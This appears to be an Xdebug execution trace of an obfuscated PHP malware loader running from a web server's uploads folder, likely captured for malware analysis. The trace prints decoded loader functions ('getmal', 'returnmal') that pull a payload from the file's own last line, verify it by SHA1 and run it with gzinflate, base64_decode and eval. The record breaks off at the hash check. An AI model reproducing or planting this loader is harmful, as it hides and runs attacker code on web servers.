Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-12 23:31:53.816525] 1 0 1 0.000225 393512 1 3 0 0.000310 396184 {main} 1 /var/www/html/uploads/RBBD.php 0 0 2 4 0 0.000329 396184 file 0 /var/www/html/uploads/RBBD.php 3 1 '/var/www/html/uploads/RBBD.php' 2 4 1 0.000379 425448 2 4 R [0 => ' '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'] 1 A /var/www/html/uploads/RBBD.php 3 $_getf = [0 => ' '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'] 2 5 0 0.000485 425408 base64_decode 0 /var/www/html/uploads/RBBD.php 3 1 'ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYSwgODYzLCAyOTYpOwogICAgICAgIH0gZWxzZWlmICgk' 2 5 1 0.000516 426208 2 5 R 'function getmal($_g, $_b = 0)\n {\t\n \t$_array_length = count($_g);\n \t$_taking_array = $_array_length - 1;\n \twhile(1==1) {\n \t\tif(empty(trim($_g[$_taking_array]))) {\n \t\t\t$_taking_array = $_taking_array - 1;\n \t\t} else {\n \t\t\tbreak;\n \t\t}\n \t}\n $_a = $_g[$_taking_array];\n if ($_b == 0) {\n $_f = substr($_a, 863, 296);\n } elseif ($_b == 1) {\n $_f = substr($_a, 1159, 40);\n } else {\n $_f = trim(su' 2 6 0 0.000593 430568 eval 1 'function getmal($_g, $_b = 0)\n {\t\n \t$_array_length = count($_g);\n \t$_taking_array = $_array_length - 1;\n \twhile(1==1) {\n \t\tif(empty(trim($_g[$_taking_array]))) {\n \t\t\t$_taking_array = $_taking_array - 1;\n \t\t} else {\n \t\t\tbreak;\n \t\t}\n \t}\n $_a = $_g[$_taking_array];\n if ($_b == 0) {\n $_f = substr($_a, 863, 296);\n } elseif ($_b == 1) {\n $_f = substr($_a, 1159, 40);\n } else {\n $_f = trim(substr($_a, 1199));\n }\n return ($_f);\n }' /var/www/html/uploads/RBBD.php 3 0 2 6 1 0.000622 430568 2 7 0 0.000631 430216 getmal 1 /var/www/html/uploads/RBBD.php 3 2 [0 => ' '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'] ??? 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 3 $_array_length = 3 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 4 $_taking_array = 2 3 8 0 0.000705 430216 trim 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 6 1 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 8 1 0.000749 430248 3 8 R '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 12 $_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 9 0 0.000841 430216 substr 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 14 3 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 863 296 3 9 1 0.000887 430696 3 9 R 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 14 $_f = 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9' 2 7 1 0.000943 430600 2 7 R 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9' 2 10 0 0.000969 430600 base64_decode 0 /var/www/html/uploads/RBBD.php 3 1 'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9' 2 10 1 0.000991 431016 2 10 R 'function returnmal($_code, $_sha1)\n {\n if (sha1($_code) == $_sha1) {\n return eval("?>" . (gzinflate(base64_decode($_code))));\n } else {\n echo ("Error: File Modified");\n }\n }' 2 11 0 0.001036 431672 eval 1 'function returnmal($_code, $_sha1)\n {\n if (sha1($_code) == $_sha1) {\n return eval("?>" . (gzinflate(base64_decode($_code))));\n } else {\n echo ("Error: File Modified");\n }\n }' /var/www/html/uploads/RBBD.php 3 0 2 11 1 0.001059 431672 2 12 0 0.001067 431320 getmal 1 /var/www/html/uploads/RBBD.php 3 2 [0 => ' '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'] 2 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 3 $_array_length = 3 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 4 $_taking_array = 2 3 13 0 0.001137 431320 trim 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 6 1 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 13 1 0.001181 431352 3 13 R '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 12 $_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 14 0 0.001270 431320 substr 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 18 2 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 1199 3 14 1 0.001315 460056 3 14 R '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 3 15 0 0.001359 459992 trim 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 18 1 '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 3 15 1 0.001404 460024 3 15 R '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 18 $_f = '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 2 12 1 0.001487 459992 2 12 R '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' 2 16 0 0.001530 459992 getmal 1 /var/www/html/uploads/RBBD.php 3 2 [0 => ' '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'] 1 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 3 $_array_length = 3 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 4 $_taking_array = 2 3 17 0 0.001599 459992 trim 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 6 1 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 17 1 0.001643 460024 3 17 R '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 12 $_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 3 18 0 0.001732 459992 substr 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 16 3 '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS' 1159 40 3 18 1 0.001775 460168 3 18 R '76e5328b0a78de6f89f03cd35a82da16b75cdbe2' 2 A /var/www/html/uploads/RBBD.php(3) : eval()'d code 16 $_f = '76e5328b0a78de6f89f03cd35a82da16b75cdbe2' 2 16 1 0.001804 460072 2 16 R '76e5328b0a78de6f89f03cd35a82da16b75cdbe2' 2 19 0 0.001820 460072 returnmal 1 /var/www/html/uploads/RBBD.php 3 2 '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//' '76e5328b0a78de6f89f03cd35a82da16b75cdbe2' 3 20 0 0.001863 460072 sha1 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code 3 1 